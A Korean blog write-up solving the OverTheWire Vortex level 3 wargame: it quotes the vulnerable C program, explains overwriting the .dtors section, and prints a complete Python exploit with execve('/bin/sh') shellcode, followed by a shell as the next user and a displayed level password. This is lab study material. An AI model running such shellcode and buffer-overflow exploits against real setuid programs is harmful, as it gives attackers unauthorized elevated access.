Vortex – Level 3

http://www.overthewire.org/wargames/vortex/level3.shtml

/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson <[email protected]>
 */

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        *lpp = tmp;

        exit(0);
}

위 코드에서 BOF가 발생한다. 우선 문제를 풀기 전 해당 문제에서 주어진 문서를 읽어보면 .dtors 섹션이 나온다.
즉 .dtors 섹션을 이용하여 문제를 풀라는 것으로 보인다.

.dtors 섹션이란? (출처 : 해킹과 보안 제 2 호)
.dtors 섹션은 gcc로 컴파일 했을 때 사용한다. gcc는 함수들에 대해 몇가지 속성을 제공하는데 그 중 해킹에서 흥미로운 것은 constructor와 desuructor 속성인데 ELF 실행 이미지에는 .ctors와 .dtors 섹션으로 나타난다. constructor 속성을 가진 함수들은 main() 함수 이전에 실행되고 destuctor 속성을 가진 함수들은 main() 함수가 끝난 후에 실행된다.

.dtors 섹션은 쓰기가 가능하기 때문에 이 영역을 덮어쓰는 공격자가 원하는 주소로 jmp 할 수 있다. .dtors 는 시작영역과 끝 영역의 범위가 8바이트 이다. 공격에 사용되는 주소값은 objdump를 통해 나오는 주소에 4바이트를 더한 주소이다.

[Example]

vortex3@games ~ $ objdump -s -j .dtors /vortex/level3 

/vortex/level3:     file format elf32-i386

Contents of section .dtors:
 8049574 ffffffff 00000000                    ........        
vortex3@games ~ $ 

그럼 buf 변수에 [쉘코드 + NOP + .dtors] 형태로 공격을 진행해 보도록 하자.
쉘코드는 아래 사이트에 나온 쉘코드를 사용하였다.
http://milw0rm.com/shellcode/8972

먼저 덮어 쓸 .dtors 영역 확인을 해보자.

vortex3@games ~ $ objdump -s -j .dtors /vortex/level3 

/vortex/level3:     file format elf32-i386

Contents of section .dtors:
 8049574 ffffffff 00000000                    ........        
vortex3@games ~ $ objdump -s /vortex/level3 | grep 78950408
 8049490 00000000 00000000 78950408 697a0000  ........x...iz..
vortex3@games ~ $ 

공격할 주소는 0x08049498 임을 확인 하였다. 이제 공격을 해보도록 하자.

#!/usr/bin/python
import os
from struct import pack

def main():
    shellcode = ''
    shellcode += '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b'
    shellcode += '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'

    payload = ''
    payload += shellcode
    payload += '\x90'*106
    payload += pack('<L', 0x08049498)

    os.execl('/vortex/level3', 'level3', payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()
vortex3@games /tmp/byj $ ./ex.py 
bash: /home/vortex/vortex4/.bashrc: Permission denied
vortex4@games /tmp/byj $ id
uid=506(vortex4) gid=505(vortex3) groups=505(vortex3)
vortex4@games /tmp/byj $ cat /etc/vortex_pass/vortex4
2YmgK1=jw
vortex4@games /tmp/byj $

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다